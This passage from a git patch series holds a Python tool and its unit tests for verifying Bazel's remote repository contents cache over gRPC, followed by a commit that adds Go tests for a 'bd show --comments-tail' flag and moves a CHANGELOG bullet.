r.stdout_raw = bytes(v) + elif num == 6: + r.stdout_digest = Digest.decode(v) + elif num in (7, 8): + r.stderr_size += len(v) + elif num in (10, 11, 12): + r.symlinks += 1 + return r + + +@dataclasses.dataclass +class Directory: + files: dict # name -> (Digest, is_executable) + dirs: dict # name -> Digest + symlinks: dict # name -> target + + @staticmethod + def decode(b: bytes) -> "Directory": + d = Directory({}, {}, {}) + for num, _, v in fields(b): + name, dg, exe, target = "", None, False, "" + for n2, _, v2 in fields(v): + if n2 == 1: + name = bytes(v2).decode("utf-8", "surrogateescape") + elif n2 == 2 and num in (1, 2): + dg = Digest.decode(v2) + elif n2 == 2 and num == 3: + target = bytes(v2).decode("utf-8", "surrogateescape") + elif n2 == 4 and num == 1: + exe = bool(v2) + if num == 1: + d.files[name] = (dg, exe) + elif num == 2: + d.dirs[name] = dg + elif num == 3: + d.symlinks[name] = target + return d + + +def decode_tree(b: bytes) -> tuple[Directory, dict]: + """Tree -> (root, {Directory digest hash: Directory}).""" + root, children = None, {} + for num, _, v in fields(b): + if num == 1: + root = Directory.decode(v) + elif num == 2: + children[hashlib.sha256(v).hexdigest()] = Directory.decode(v) + if root is None: + raise ValueError("Tree without a root") + return root, children + + +# --- transport ---------------------------------------------------------------- + + +class RPCError(Exception): + def __init__(self, code: int, message: str): + super().__init__("gRPC status %d: %s" % (code, message)) + self.code = code + + +def _frame(msg: bytes) -> bytes: + return b"\0" + len(msg).to_bytes(4, "big") + msg + + +def _unframe(body: bytes) -> list[bytes]: + out, i = [], 0 + while i < len(body): + if i + 5 > len(body) or body[i] != 0: + raise ValueError("not an uncompressed gRPC frame") + n = int.from_bytes(body[i + 1 : i + 5], "big") + out.append(body[i + 5 : i + 5 + n]) + i += 5 + n + if i != len(body): + raise ValueError("truncated gRPC frame") + return out + + +class CurlTransport: + """gRPC over curl's HTTP/2: grpcs:// with optional mTLS, or grpc://.""" + + def __init__(self, endpoint: str, cert: str = "", key: str = "", ca: str = "", timeout: int = 60): + if endpoint.startswith("grpcs://"): + self.base = "https://" + endpoint[len("grpcs://") :] + self.tls = True + elif endpoint.startswith("grpc://"): + self.base = "http://" + endpoint[len("grpc://") :] + self.tls = False + else: + raise ValueError("endpoint must be grpcs:// or grpc://, got %r" % endpoint) + self.base = self.base.rstrip("/") + self.cert, self.key, self.ca, self.timeout = cert, key, ca, timeout + + def call(self, method: str, request: bytes) -> list[bytes]: + with tempfile.TemporaryDirectory() as tmp: + req, head, body = (os.path.join(tmp, n) for n in ("req", "head", "body")) + with open(req, "wb") as f: + f.write(_frame(request)) + cmd = ["curl", "-sS", "--connect-timeout", "10", "--max-time", str(self.timeout)] + cmd += ["--http2"] if self.tls else ["--http2-prior-knowledge"] + if self.cert: + cmd += ["--cert", self.cert, "--key", self.key] + if self.ca: + cmd += ["--cacert", self.ca] + cmd += [ + "-H", "content-type: application/grpc", "-H", "te: trailers", + "--data-binary", "@" + req, "-D", head, "-o", body, "-w", "%{http_code}", + self.base + "/" + method, + ] # fmt: skip + p = subprocess.run(cmd, capture_output=True, text=True, check=False) + if p.returncode != 0: + raise RPCError(-1, "curl exit %d: %s" % (p.returncode, p.stderr.strip())) + if p.stdout != "200": + raise RPCError(-1, "HTTP %s" % p.stdout) + headers = read_bytes(head).decode("latin-1").replace("\r", "") + status, message = None, "" + for line in headers.split("\n"): + k, _, v = line.partition(":") + if k.strip().lower() == "grpc-status": + status = int(v.strip()) + elif k.strip().lower() == "grpc-message": + message = v.strip() + if status is None: + raise RPCError(-1, "no grpc-status") + if status != 0: + raise RPCError(status, message) + return _unframe(read_bytes(body)) + + +class Cache: + """The few REAPI reads the reader makes.""" + + def __init__(self, rpc: Callable[[str, bytes], list[bytes]], instance: str): + self.rpc, self.instance = rpc, instance + + def action_result(self, key: Digest) -> Optional[ActionResult]: + req = ( + _field(1, self.instance.encode()) + + _field(2, key.encode()) + + _field_varint(3, 1) # inline_stdout + + _field(5, MARKER_FILE_PATH.encode()) # inline_output_files + ) + try: + msgs = self.rpc("build.bazel.remote.execution.v2.ActionCache/GetActionResult", req) + except RPCError as e: + if e.code == GRPC_NOT_FOUND: + return None + raise + if len(msgs) != 1: + raise RPCError(-1, "GetActionResult: %d messages" % len(msgs)) + return ActionResult.decode(msgs[0]) + + def blob(self, d: Digest) -> bytes: + if d.size == 0: + return b"" + name = "%s/blobs/%s/%d" % (self.instance, d.hash, d.size) if self.instance else "blobs/%s/%d" % (d.hash, d.size) + msgs = self.rpc("google.bytestream.ByteStream/Read", _field(1, name.encode())) + data = b"".join(bytes(v) for m in msgs for num, _, v in fields(m) if num == 10) + if Digest.of(data) != d: + raise RPCError(-1, "blob %s/%d: got %d bytes that do not match" % (d.hash, d.size, len(data))) + return data + + +# --- verification --------------------------------------------------------------- + + +@dataclasses.dataclass +class Result: + repo: str + status: str # match, mismatch, invalid, not_cached, error + detail: list = dataclasses.field(default_factory=list) + + +def read_marker(path: str) -> tuple[str, dict]: + """(predeclared hash, {recorded input: its 'input value' line}).""" + text = read_bytes(path).decode("latin-1") + lines = text.split("\n") + recorded = {} + for line in lines[1:]: + if not line: + continue + inp, sep, _ = line.partition(" ") + if sep: + recorded[inp] = line + return lines[0].strip(), recorded + + +def find_final(cache: Cache, guid: str, predeclared: str, recorded: dict) -> tuple[Optional[ActionResult], list]: + """Walks the AC from predeclared like fetchFinalCacheEntry; returns (final entry or None, invalid reasons).""" + invalid, current, seen = [], [predeclared], set() + for _ in range(MAX_CHAIN): + nxt = [] + for h in current: + if h in seen: + continue + seen.add(h) + ar = cache.action_result(action_digest(guid, h)) + if ar is None: + continue + if ar.exit_code != 0: + invalid.append("entry %s: exit code %d" % (h, ar.exit_code)) + continue + if len(ar.output_files) == 1 and len(ar.output_directories) == 1 and ar.symlinks == 0: + return ar, invalid + if ar.output_files or ar.output_directories or ar.symlinks or not (ar.stdout_raw or (ar.stdout_digest and ar.stdout_digest.size)): + invalid.append("entry %s: neither a final nor an intermediate result" % h) + continue + stdout = ar.stdout_raw if ar.stdout_raw else cache.blob(ar.stdout_digest) + for batch in stdout.decode("latin-1").splitlines(): + rolling = h + for inp in batch.split(" "): + line = recorded.get(inp) + if line is None: + break # the cold fetch recorded other inputs: not this branch + rolling = roll_forward(rolling, line) + else: + nxt.append(rolling) + if not nxt: + return None, invalid + current = nxt + invalid.append("more than %d intermediate hops" % MAX_CHAIN) + return None, invalid + + +def read_bytes(path: str) -> bytes: + with open(path, "rb") as f: + return f.read() + + +def _sha256_file(path: str) -> tuple[str, int]: + h, n = hashlib.sha256(), 0 + with open(path, "rb") as f: + while chunk := f.read(1 << 20): + h.update(chunk) + n += len(chunk) + return h.hexdigest(), n + + +def compare_tree(root: Directory, children: dict, local: str) -> list: + """Differences between the cached tree and the cold directory local.""" + diffs = [] + + def walk(d: Directory, path: str, rel: str) -> None: + if len(diffs) >= MAX_DIFFS: + return + try: + names = set(os.listdir(path)) + except OSError as e: + diffs.append("%s: cannot list the cold directory (%s)" % (rel or ".", e)) + return + remote = set(d.files) | set(d.dirs) | set(d.symlinks) + for n in sorted(remote - names): + diffs.append("%s: only in the cache" % os.path.join(rel, n)) + for n in sorted(names - remote): + diffs.append("%s: only in the cold fetch" % os.path.join(rel, n)) + for n in sorted(remote & names): + if len(diffs) >= MAX_DIFFS: + return + p, r = os.path.join(path, n), os.path.join(rel, n) + st = os.lstat(p) + if n in d.symlinks: + if not stat.S_ISLNK(st.st_mode): + diffs.append("%s: a symlink in the cache, not in the cold fetch" % r) + elif os.readlink(p) != d.symlinks[n]: + diffs.append("%s: symlink to %r in the cache, %r cold" % (r, d.symlinks[n], os.readlink(p))) + continue + try: + st = os.stat(p) # the upload follows symlinks it does not keep + except OSError as e: + diffs.append("%s: dangling in the cold fetch (%s)" % (r, e)) + continue + if n in d.files: + dg, exe = d.files[n] + if not stat.S_ISREG(st.st_mode): + diffs.append("%s: a file in the cache, not in the cold fetch" % r) + continue + h, size = _sha256_file(p) + if dg is None or (h, size) != (dg.hash, dg.size): + diffs.append("%s: content differs (cache %s/%s, cold %s/%d)" % (r, dg and dg.hash, dg and dg.size, h, size)) + if exe != bool(st.st_mode & stat.S_IXUSR): + diffs.append("%s: executable bit differs (cache %s)" % (r, exe)) + else: + if not stat.S_ISDIR(st.st_mode): + diffs.append("%s: a directory in the cache, not in the cold fetch" % r) + continue + child = children.get(d.dirs[n].hash) + if child is None: + diffs.append("%s: the Tree lacks directory %s" % (r, d.dirs[n].hash)) + continue + walk(child, p, r) + + walk(root, local, "") + return diffs + + +def verify_repo(cache: Cache, guid: str, external: str, name: str) -> Result: + marker = os.path.join(external, "@%s.marker" % name) + try: + predeclared, recorded = read_marker(marker) + final, invalid = find_final(cache, guid, predeclared, recorded) + if invalid: + return Result(name, "invalid", invalid) + if final is None: + return Result(name, "not_cached") + diffs = [] + path, mdg, _, contents = final.output_files[0] + dpath, tree = final.output_directories[0] + if path != MARKER_FILE_PATH or dpath != REPO_DIRECTORY_PATH or tree is None or mdg is None: + return Result(name, "invalid", ["final entry outputs %r and %r" % (path, dpath)]) + cached_marker = contents if contents else cache.blob(mdg) + if cached_marker != read_bytes(marker): + diffs.append("%s: marker file differs" % MARKER_FILE_PATH) + root, children = decode_tree(cache.blob(tree)) + diffs += compare_tree(root, children, os.path.join(external, name)) + return Result(name, "mismatch" if diffs else "match", diffs[:MAX_DIFFS]) + except (RPCError, ValueError, OSError) as e: + return Result(name, "error", [str(e)]) + + +def repos(external: str) -> list: + out = [] + for f in sorted(os.listdir(external)): + if f.startswith("@") and f.endswith(".marker") and os.path.isdir(os.path.join(external, f[1:-7])): + out.append(f[1:-7]) + return out + + +def verify(cache: Cache, guid: str, output_base: str, jobs: int) -> list: + external = os.path.join(output_base, "external") + names = repos(external) + with concurrent.futures.ThreadPoolExecutor(max_workers=jobs) as pool: + return list(pool.map(lambda n: verify_repo(cache, guid, external, n), names)) + + +def summarize(results: list) -> dict: + counts = {} + for r in results: + counts[r.status] = counts.get(r.status, 0) + 1 + return counts + + +def exit_status(results: list, max_error_fraction: float) -> int: + counts = summarize(results) + if counts.get("mismatch") or counts.get("invalid"): + return 1 + if not results or counts.get("error", 0) > max_error_fraction * len(results): + return 2 + return 0 + + +def main(argv: Optional[list] = None) -> int: + ap = argparse.ArgumentParser(description=__doc__.split("\n")[0]) + ap.add_argument("--output-base", required=True, help="the cold fetch's output base") + ap.add_argument("--endpoint", required=True, help="grpcs://host:port or grpc://host:port") + ap.add_argument("--instance", default="oss") + ap.add_argument("--cert", default="") + ap.add_argument("--key", default="") + ap.add_argument("--ca", default="") + ap.add_argument("--bazel-version", required=True, help="the release that wrote the entries (.bazelversion)") + ap.add_argument("--jobs", type=int, default=16) + ap.add_argument("--max-error-fraction", type=float, default=0.01, help="transport errors tolerated before exit 2") + ap.add_argument("--json", default="", help="write the full report here") + ap.add_argument("--summary", default="", help="append a Markdown summary here (GITHUB_STEP_SUMMARY)") + a = ap.parse_args(argv) + guid = BAZEL_RRC_GUIDS.get(a.bazel_version) + if guid is None: + print("rrc-verify: no GUID for Bazel %s; add RemoteRepoContentsCacheImpl.GUID to BAZEL_RRC_GUIDS" % a.bazel_version, file=sys.stderr) + return 2 + if bool(a.cert) != bool(a.key): + print("rrc-verify: --cert and --key go together", file=sys.stderr) + return 2 + cache = Cache(CurlTransport(a.endpoint, a.cert, a.key, a.ca).call, a.instance) + results = verify(cache, guid, a.output_base, a.jobs) + counts = summarize(results) + bad = [r for r in results if r.status in ("mismatch", "invalid", "error")] + lines = ["rrc-verify: %d repositories: %s" % (len(results), ", ".join("%s %d" % kv for kv in sorted(counts.items())))] + for r in bad: + lines.append(" %s %s: %s" % (r.status, r.repo, "; ".join(r.detail))) + print("\n".join(lines)) + if a.json: + with open(a.json, "w") as f: + json.dump({"counts": counts, "results": [dataclasses.asdict(r) for r in results if r.status != "match"]}, f, indent=1) + if a.summary: + with open(a.summary, "a") as f: + f.write("### Remote repo contents cache verification\n\n") + f.write("| status | repositories |\n|---|---|\n") + for k, v in sorted(counts.items()): + f.write("| %s | %d |\n" % (k, v)) + for r in bad[:50]: + f.write("\n- **%s** `%s`: %s" % (r.status, r.repo, "; ".join(r.detail)[:500])) + f.write("\n") + return exit_status(results, a.max_error_fraction) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/rrc_verify_test.py b/tools/bazel/rrc_verify_test.py new file mode 100644 index 000000000..ac5ef9eef --- /dev/null +++ b/tools/bazel/rrc_verify_test.py @@ -0,0 +1,323 @@ +"""Tests for tools/bazel/rrc_verify.py (ga-vnycm2.26). + +The golden keys below come from Bazel 9.3.0 itself: it wrote the entries +(`bazel test --nobuild --experimental_remote_repo_contents_cache +--remote_upload_local_results` into a throwaway NativeLink 1.7.1), and +rrc_verify found 1124 of 1124 cached repositories under the keys it computes. +Everything else runs against an in-memory cache. +""" + +import hashlib +import os +import stat +import tempfile +import unittest + +import rrc_verify as v + +GUID = v.BAZEL_RRC_GUIDS["9.3.0"] + +# gazelle++go_deps+com_github_aleksi_pointer, a go_repository: its marker +# (predeclared hash, then recorded inputs) and the chain of intermediate +# entries Bazel 9.3.0 wrote for it, one batch per hop. +POINTER_MARKER = ( + "d2e29605e9f6822328a5f4d0fcacfc80203bd61260f860e6f9a942ec96a5927b\n" + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//go.env f46153b50029d3d4a489ba97ee1b14e811f12f76a6e41fa6471c92ea6dc957a9\n" + "REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_cache gazelle++non_module_deps+bazel_gazelle_go_repository_cache\n" + "FILE:@@gazelle++non_module_deps+bazel_gazelle_go_repository_cache//go.env f46153b50029d3d4a489ba97ee1b14e811f12f76a6e41fa6471c92ea6dc957a9\n" + "REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_tools +go_repository_tools+gazelle_go_repository_tools\n" + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/fetch_repo 8b1288089311dc63c3d4b04c433d9ba11df5b09b5e8fdb1f8db0804f360ca6c0\n" + "ENV:GO_REPOSITORY_EPHEMERAL_MODCACHE \\0\n" + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/gazelle 1b764f6d9ad08e324bdcab429c3105815b8914f289d594acfc791bdac2bc2b2c\n" + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//WORKSPACE cc988347dd32755bac20223ea21cd982da6da90d9113dee8ccd4c4b88b3983db\n" +) +# (input hash, its AC key, the intermediate entry's stdout) +POINTER_CHAIN = [ + ("d2e29605e9f6822328a5f4d0fcacfc80203bd61260f860e6f9a942ec96a5927b", + "add188cbb3ec90ac802738e80e42516a17ba75e7563efffa80f64fee38edf866", + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//go.env REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_cache\n"), + ("8bc57512298f35dd223a75991454f01b20e0581fc5b3cb9ad7e26521a3b89db2", + "5a07101d8884c3f86496450121a048660f511b33076205395149ef6c369ef719", + "FILE:@@gazelle++non_module_deps+bazel_gazelle_go_repository_cache//go.env REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_tools\n"), + ("07b34597f53e981474b3e4952e51c5caa2ba3877f61ad0cc2fe39c84f51acc8f", + "f7eac27fd1a860cc4563bf18f42f0672d533e171341e7293aae8b5f5d8cdebc3", + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/fetch_repo ENV:GO_REPOSITORY_EPHEMERAL_MODCACHE\n"), + ("1ef1aa4b4cb73c42f39465f8feba3ae846c412e5a0a7f2790264264c1941df6e", + "531c6579bec5634c2744fdd5b90ea123739d431991472877bffe3548c86697b1", + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/gazelle\n"), + ("edc467b59551f6058310c401062c51315e9a1c3b2bc8ec0a57d7411d7ca4b6dc", + "94a6fc01bd63b6c1506919e676603784eb73e9049b121c4580aaf6e75893d276", + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//WORKSPACE\n"), +] # fmt: skip +POINTER_FINAL_HASH = "3ceee7642907f9b23db2d1944d05314384151ca509d432eca651bdee2d61997c" +POINTER_FINAL_KEY = v.Digest("b0ca33d505c031b1ee5aa17138c14135803b0989ef76f3203999a316a933e2f2", 206) + + +# --- an in-memory cache --------------------------------------------------------- + + +def enc_directory(files=(), dirs=(), symlinks=()): + out = b"" + for name, dg, exe in sorted(files): + node = v._field(1, name.encode()) + v._field(2, dg.encode()) + if exe: + node += v._field_varint(4, 1) + out += v._field(1, node) + for name, dg in sorted(dirs): + out += v._field(2, v._field(1, name.encode()) + v._field(2, dg.encode())) + for name, target in sorted(symlinks): + out += v._field(3, v._field(1, name.encode()) + v._field(2, target.encode())) + return out + + +class FakeCache: + """An AC (input hash -> ActionResult bytes) and a CAS, behind Cache's rpc.""" + + def __init__(self): + self.ac, self.cas = {}, {} + + def put_blob(self, data): + d = v.Digest.of(data) + self.cas[d.hash] = data + return d + + def tree_of(self, path): + """Uploads path's files and returns the Tree digest (as Bazel would).""" + children = [] + + def directory(p): + files, dirs, links = [], [], [] + for n in sorted(os.listdir(p)): + q = os.path.join(p, n) + st = os.lstat(q) + if stat.S_ISLNK(st.st_mode): + links.append((n, os.readlink(q))) + elif stat.S_ISDIR(st.st_mode): + raw = directory(q) + children.append(raw) + dirs.append((n, v.Digest.of(raw))) + else: + data = v.read_bytes(q) + files.append((n, self.put_blob(data), bool(st.st_mode & stat.S_IXUSR))) + return enc_directory(files, dirs, links) + + root = directory(path) + tree = v._field(1, root) + b"".join(v._field(2, c) for c in children) + return self.put_blob(tree) + + def put_final(self, input_hash, marker, tree, exit_code=0): + md = self.put_blob(marker) + ar = ( + v._field(2, v._field(1, v.MARKER_FILE_PATH.encode()) + v._field(2, md.encode())) + + v._field(3, v._field(1, v.REPO_DIRECTORY_PATH.encode()) + v._field(3, tree.encode())) + ) + if exit_code: + ar += v._field_varint(4, exit_code) + self.ac[input_hash] = ar + + def put_intermediate(self, input_hash, stdout, raw=True): + if raw: + self.ac[input_hash] = v._field(5, stdout.encode()) + v._field(6, v.Digest.of(stdout.encode()).encode()) + else: + self.ac[input_hash] = v._field(6, self.put_blob(stdout.encode()).encode()) + + def rpc(self, method, request): + if method.endswith("ActionCache/GetActionResult"): + key = None + for num, _, val in v.fields(request): + if num == 2: + key = v.Digest.decode(val) + for h, ar in self.ac.items(): + if v.action_digest(GUID, h) == key: + return [ar] + raise v.RPCError(v.GRPC_NOT_FOUND, "not found") + if method.endswith("ByteStream/Read"): + name = bytes(next(val for num, _, val in v.fields(request) if num == 1)).decode() + _, _, h, size = name.split("/") + data = self.cas.get(h) + if data is None: + raise v.RPCError(v.GRPC_NOT_FOUND, "no blob") + return [v._field(10, data[: len(data) // 2]), v._field(10, data[len(data) // 2 :])] + raise AssertionError(method) + + +def write(path, data, mode=0o644): + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, "wb") as f: + f.write(data) + os.chmod(path, mode) + + +class Fixture: + """A cold output base with one repository, cached as fetched.""" + + def __init__(self, test, name="repo", marker=b"h0\n"): + self.tmp = tempfile.TemporaryDirectory() + test.addCleanup(self.tmp.cleanup) + self.ext = os.path.join(self.tmp.name, "external") + self.name = name + self.dir = os.path.join(self.ext, name) + write(os.path.join(self.dir, "BUILD.bazel"), b"filegroup(name = 'x')\n") + write(os.path.join(self.dir, "bin", "tool"), b"#!/bin/sh\n", 0o755) + write(os.path.join(self.dir, "sub", "deep", "data.txt"), b"data\n") + os.makedirs(os.path.join(self.dir, "empty")) + os.symlink("bin/tool", os.path.join(self.dir, "link")) + self.marker = marker + write(os.path.join(self.ext, "@%s.marker" % name), marker) + self.cache = FakeCache() + + def seed(self, input_hash="h0"): + self.cache.put_final(input_hash, self.marker, self.cache.tree_of(self.dir)) + + def verify(self): + return v.verify_repo(v.Cache(self.cache.rpc, "oss"), GUID, self.ext, self.name) + + +class KeysTest(unittest.TestCase): + def test_action_digest_matches_bazel_9_3_0(self): + for h, key, _ in POINTER_CHAIN: + self.assertEqual(v.action_digest(GUID, h).hash, key) + self.assertEqual(v.action_digest(GUID, POINTER_FINAL_HASH), POINTER_FINAL_KEY) + + def test_roll_forward_matches_bazel_9_3_0(self): + tmp = tempfile.TemporaryDirectory() + self.addCleanup(tmp.cleanup) + path = os.path.join(tmp.name, "m") + write(path, POINTER_MARKER.encode()) + predeclared, recorded = v.read_marker(path) + self.assertEqual(predeclared, POINTER_CHAIN[0][0]) + h = predeclared + for i, (want, _, stdout) in enumerate(POINTER_CHAIN): + self.assertEqual(h, want, "hop %d" % i) + for inp in stdout.strip().split(" "): + h = v.roll_forward(h, recorded[inp]) + self.assertEqual(h, POINTER_FINAL_HASH) + + def test_guid_for_every_release_is_a_uuid(self): + for release, guid in v.BAZEL_RRC_GUIDS.items(): + self.assertRegex(guid, r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", release) + + def test_bazelversion_has_a_guid(self): + root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(v.__file__)))) + path = os.path.join(root, ".bazelversion") + version = v.read_bytes(path).decode().strip() + self.assertIn(version, v.BAZEL_RRC_GUIDS, "a .bazelversion bump must add RemoteRepoContentsCacheImpl.GUID") + + +class VerifyRepoTest(unittest.TestCase): + def test_match(self): + f = Fixture(self) + f.seed() + r = f.verify() + self.assertEqual((r.status, r.detail), ("match", [])) + + def test_not_cached(self): + f = Fixture(self) + self.assertEqual(f.verify().status, "not_cached") + + def test_content_poisoned(self): + f = Fixture(self) + f.seed() + write(os.path.join(f.dir, "sub", "deep", "data.txt"), b"other\n") + r = f.verify() + self.assertEqual(r.status, "mismatch") + self.assertIn("sub/deep/data.txt: content differs", " ".join(r.detail)) + + def test_extra_and_missing_files(self): + f = Fixture(self) + f.seed() + write(os.path.join(f.dir, "init.go"), b"package x\n") + os.remove(os.path.join(f.dir, "BUILD.bazel")) + detail = " ".join(f.verify().detail) + self.assertIn("init.go: only in the cold fetch", detail) + self.assertIn("BUILD.bazel: only in the cache", detail) + + def test_executable_bit(self): + f = Fixture(self) + f.seed() + os.chmod(os.path.join(f.dir, "bin", "tool"), 0o644) + self.assertIn("bin/tool: executable bit differs", " ".join(f.verify().detail)) + + def test_symlink_target(self): + f = Fixture(self) + f.seed() + os.remove(os.path.join(f.dir, "link")) + os.symlink("sub", os.path.join(f.dir, "link")) + self.assertIn("link: symlink to", " ".join(f.verify().detail)) + + def test_empty_directory(self): + f = Fixture(self) + f.seed() + os.rmdir(os.path.join(f.dir, "empty")) + self.assertIn("empty: only in the cache", " ".join(f.verify().detail)) + + def test_marker_differs(self): + f = Fixture(self) + f.seed() + write(os.path.join(f.ext, "@repo.marker"), b"h0\nENV:X 1\n") + r = f.verify() + self.assertEqual(r.status, "mismatch") + self.assertIn("marker file differs", " ".join(r.detail)) + + def test_intermediate_chain(self): + marker = b"p0\nENV:A 1\nFILE:@@x//y abc\nENV:B \\0\n" + f = Fixture(self, marker=marker) + h1 = v.roll_forward(v.roll_forward("p0", "ENV:A 1"), "FILE:@@x//y abc") + h2 = v.roll_forward(h1, "ENV:B \\0") + f.cache.put_intermediate("p0", "ENV:Z\nENV:A FILE:@@x//y\n") # the first batch is another fetch's + f.cache.put_intermediate(h1, "ENV:B\n", raw=False) + f.seed(h2) + r = f.verify() + self.assertEqual((r.status, r.detail), ("match", [])) + + def test_intermediate_without_a_matching_batch(self): + f = Fixture(self, marker=b"p0\nENV:A 1\n") + f.cache.put_intermediate("p0", "ENV:Q\n") + f.seed(v.roll_forward("p0", "ENV:A 2")) # another value of A: not this fetch's + self.assertEqual(f.verify().status, "not_cached") + + def test_invalid_exit_code(self): + f = Fixture(self) + f.cache.put_final("h0", f.marker, f.cache.tree_of(f.dir), exit_code=1) + self.assertEqual(f.verify().status, "invalid") + + def test_invalid_shape(self): + f = Fixture(self) + f.cache.ac["h0"] = v._field_varint(4, 0) + v._field(7, b"stderr") + self.assertEqual(f.verify().status, "invalid") + + def test_tampered_blob_is_an_error(self): + f = Fixture(self) + f.seed() + tree = next(d for d in f.cache.cas if f.cache.cas[d].startswith(b"\x0a")) + f.cache.cas[tree] = f.cache.cas[tree] + b"\x00" + self.assertEqual(f.verify().status, "error") + + +class ReportTest(unittest.TestCase): + def test_exit_status(self): + R = v.Result + self.assertEqual(v.exit_status([R("a", "match"), R("b", "not_cached")], 0.01), 0) + self.assertEqual(v.exit_status([R("a", "match"), R("b", "mismatch")], 0.01), 1) + self.assertEqual(v.exit_status([R("a", "invalid")], 0.01), 1) + self.assertEqual(v.exit_status([R("a", "error")] + [R(str(i), "match") for i in range(200)], 0.01), 0) + self.assertEqual(v.exit_status([R("a", "error"), R("b", "match")], 0.01), 2) + self.assertEqual(v.exit_status([], 0.01), 2) + + def test_repos_lists_marked_repositories(self): + tmp = tempfile.TemporaryDirectory() + self.addCleanup(tmp.cleanup) + ext = os.path.join(tmp.name, "external") + for n in ("a", "b+c"): + os.makedirs(os.path.join(ext, n)) + write(os.path.join(ext, "@%s.marker" % n), b"h\n") + os.makedirs(os.path.join(ext, "unmarked")) + write(os.path.join(ext, "@gone.marker"), b"h\n") + self.assertEqual(v.repos(ext), ["a", "b+c"]) + + def test_unknown_release_is_a_usage_error(self): + self.assertEqual(v.main(["--output-base", "/x", "--endpoint", "grpc://x:1", "--bazel-version", "0.0.0"]), 2) + + +if __name__ == "__main__": + unittest.main() From 9f5028c78ebc6d9389197bf00c30c37a96615ff4 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 02:50:41 +0000 Subject: [PATCH 093/213] test(show): run --comments-tail through every show route; CHANGELOG bullet under Added (#6618 follow-ups) (#7383) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follow-ups from the #6618 adoption review, neither addressed there: - bd-6gl9h7 (Test Evidence Quality): no committed test ran `bd show` with --comments-tail set. show_comments_tail_test.go calls printComments and renderWatchComments directly, so passing 0 at any of the three call sites (show.go direct, show_display.go --watch, show_proxied_server.go / show_proxied_watch.go proxied) still passed the suite. TestEmbeddedShowCommentsTail (direct, direct --watch) and TestProxiedServerShowCommentsTail (proxied, proxied --watch) now run the built binary through each route over the same three comments with --comments-tail 1, and check the elision line, the surviving newest comment, the absence of both hidden ones, the off state (0 and a cap above the count) byte-identical to the flag's absence, the negative usage error, and --json --include-comments untouched. Mutating each call site to pass 0 fails the matching route tests (direct: direct_tail_1 + watch_tail_1; proxied: proxied_tail_1 + proxied_watch_tail_1) and nothing else. The off-state comparison strips the "💡 Tip:" line maybeShowTip may append after a direct text render (a per-run probability roll behind a per-tip frequency gate, independent of the flag); without that, the first render of a fresh store can carry the tip and the comparison fails on it. The embedded half lives in a *_embedded_test.go file because gen_embedded_cmd_shard_manifest.py discovers TestEmbedded* only there; both tests are registered in their shard manifests (--write, then --check rc 0 at 50 and 30) and in cmd/bd's go_test srcs. - bd-l6f1r7 (Release Safety): the CHANGELOG bullet for the flag sat under "### Fixed" in [Unreleased]; it is now the first bullet under the section's "### Added". Ran (GOTOOLCHAIN=go1.26.7): go vet ./cmd/bd/; gofmt -l; go test ./scripts/ -run 'Shard|Manifest|Coverage'; embedded leg (BEADS_TEST_EMBEDDED_DOLT=1) -run TestEmbeddedShowCommentsTail -count=3: 15/15 subtests PASS; proxied leg (BEADS_TEST_PROXIED_SERVER=1, BEADS_TEST_DOLT_SERVER=local, dolt 2.2.0, -tags gms_pure_go) -run TestProxiedServerShowCommentsTail: 5/5 PASS, 0 SKIP. Co-authored-by: Claude Fable 5.1 --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + CHANGELOG.md | 18 +- cmd/bd/BUILD.bazel | 2 + cmd/bd/show_comments_tail_embedded_test.go | 69 ++++++ ..._comments_tail_proxied_integration_test.go | 208 ++++++++++++++++++ 6 files changed, 290 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/show_comments_tail_embedded_test.go create mode 100644 cmd/bd/show_comments_tail_proxied_integration_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index e6987e1f4..19022d08d 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -313,6 +313,7 @@ 100 65 TestEmbeddedSupersede 100 66 TestEmbeddedCloseBasicIsolatedStores +100 66 TestEmbeddedShowCommentsTail 100 67 TestEmbeddedAdminCompactReadOnlyAllowed 100 67 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 72e73e898..97ff8d2cd 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -335,6 +335,7 @@ 34 12 TestProxiedServerReadyB 34 12 TestProxiedServerReadyWisp 34 12 TestProxiedServerReclaim +34 12 TestProxiedServerShowCommentsTail 34 12 TestProxiedServerUnclaim 34 13 TestProxiedServerCompactDolt diff --git a/CHANGELOG.md b/CHANGELOG.md index 6b52a5b5a..20024c147 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `dolt.auto-commit` the way `bd prune` does, as `bd: reclaim N expired lease(s)` on both routes. Over a connected HTTP workspace `bd reclaim` now works instead of refusing. +- **`bd show --comments-tail N`** renders only the last N comments in text + output (including under `--watch`) + ([#6618](https://github.com/gastownhall/beads/pull/6618)), preceded by one + elision line naming how many older ones were hidden. A 